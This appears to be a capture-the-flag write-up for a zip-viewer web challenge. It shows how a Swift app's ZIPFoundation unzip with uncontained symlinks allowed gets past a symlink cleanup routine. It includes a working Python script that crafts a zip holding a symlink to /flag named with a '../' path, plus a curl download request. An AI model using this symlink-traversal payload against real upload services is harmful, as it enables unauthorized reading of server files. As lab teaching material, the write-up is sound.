zipviewer-version-citizen

110

Instructions

Read the flag (/flag)

Solution

This application allows us to upload a zip file, it is then decompressed, and we are able to download the files that are in the zip file. Our goal is to read outside of the zipfile at /flag. Taking a look at the dependencies for the application, we can see that github.com/weichsel/ZIPFoundation version 0.9.18 is used as the zip decompression library.

$ cat Package.swift
// swift-tools-version: 5.9
import PackageDescription

let package = Package(
    name: "zipviewer-version-citizen",
    platforms: [
       .macOS(.v13)
    ],
    dependencies: [
        .package(url: "https://github.com/vapor/vapor.git", exact: "4.89.0"),
        .package(url: "https://github.com/vapor/leaf.git", exact: "4.2.4"),
        .package(url: "https://github.com/weichsel/ZIPFoundation.git", exact: "0.9.18"),
        .package(url: "https://github.com/apple/swift-crypto.git", exact: "3.1.0"),

Looking at the Unzip function, we can see that allowUncontainedSymlinks is true which means we should be able to read /flag using a symlink.

func Unzip(filename: String, filepath: String) throws -> Bool {
    let fileManager = FileManager()
    let currentWorkingPath = fileManager.currentDirectoryPath
 
    var sourceURL = URL(fileURLWithPath: currentWorkingPath)
    sourceURL.appendPathComponent(filename)
    
    var destinationURL = URL(fileURLWithPath: currentWorkingPath)
    destinationURL.appendPathComponent(filepath)
    
    try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
    try fileManager.unzipItem(at: sourceURL, to: destinationURL, allowUncontainedSymlinks: true)
 
    return true
}

However, the CleanupUploadedFile function attempts to remove symbolic links

func CleanupUploadedFile(filePath: String, fileList: [String]) throws -> Bool {
    do {
        let fileManager = FileManager()
        let currentWorkingPath = fileManager.currentDirectoryPath

        print("File Count \(fileList.count)")

        for fileName in fileList {
            var originPath = URL(fileURLWithPath: currentWorkingPath)

            originPath.appendPathComponent(filePath)
            originPath.appendPathComponent(fileName)

            if !fileManager.fileExists(atPath: originPath.path) {
                print("file not found")
                continue
            }

            if (try IsSymbolicLink(filePath: originPath.path)) {
                print("Find Symbol!! >> \(originPath.path)")
                try fileManager.removeItem(at: originPath)
            }
        }
    } catch {
        return false
    }

    return true
}

To get around this we can upload a zip file where the cleanup code is unable to correctly delete the symlink.

#!/usr/bin/env python3

import zipfile

zipInfo = zipfile.ZipInfo()
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = "a/../flag"

with zipfile.ZipFile('payload.zip', 'w') as zipf:
    zipf.writestr(zipInfo, "/flag")

$ curl http://localhost:11000/download/flag -H 'Cookie: vapor_session=ZhIGWR15t53Dp25Zyuq4lZ820BkDW2H+y3ydAt1vdkI='

LINECTF{redacted}